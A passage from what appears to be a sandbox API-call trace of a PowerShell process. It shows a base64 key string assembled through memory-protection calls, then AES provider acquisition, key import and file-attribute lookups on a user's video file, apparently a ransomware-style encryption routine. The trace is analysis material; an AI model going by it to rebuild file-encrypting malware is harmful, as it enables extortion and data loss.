OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0258.938] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0258.938] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0258.938] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0258.938] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0258.938] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0258.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0258.939] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.939] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0258.939] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0258.939] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0258.940] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0258.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0258.940] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0258.940] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0258.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0258.940] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0258.940] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0258.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0258.941] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0258.941] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0258.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0258.941] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0258.941] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0258.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0258.941] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0258.941] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0258.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0258.942] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.942] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0258.942] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0258.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0258.942] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.942] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0258.942] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0258.943] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.943] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0258.943] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0258.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0258.943] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.943] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0258.943] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0258.944] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.944] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0258.944] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0258.944] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.944] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0258.944] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0258.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0258.944] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0258.945] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0258.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0258.945] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0258.945] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0258.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0258.945] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0258.945] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0258.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0258.946] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.946] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0258.946] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0258.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0258.946] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0258.947] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0258.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0258.947] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0258.947] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0258.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0258.947] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0258.947] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0258.948] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0258.948] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.948] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0258.948] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.948] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0258.948] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0258.948] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.948] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0258.948] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.948] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0258.948] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0258.948] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.948] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0258.948] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.949] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0258.949] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0258.949] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.949] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0258.949] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.949] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0258.949] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0258.949] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.949] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0258.949] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0259.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0259.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0259.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0259.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0259.044] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.044] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0259.044] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0259.045] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.045] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0259.045] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0259.045] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.045] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0259.045] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0259.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0259.045] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.046] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0259.046] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.046] EtwEventActivityIdControl () returned 0x0 [0259.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0259.046] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.046] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0259.046] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0259.048] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0259.050] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x23e1124*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99660) returned 1 [0259.050] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0259.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0259.050] EtwEventActivityIdControl () returned 0x0 [0259.051] EtwEventActivityIdControl () returned 0x0 [0259.051] EtwEventActivityIdControl () returned 0x0 [0259.057] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 0x20 [0259.058] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xleaz.mp4")) returned 0x20 [0259.058] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0259.058] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\XLEaz.mp4", lpFilePart=0x0) returned 0x23 [0259.058] EtwEventActivityIdControl () returned 0x0 [0259.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 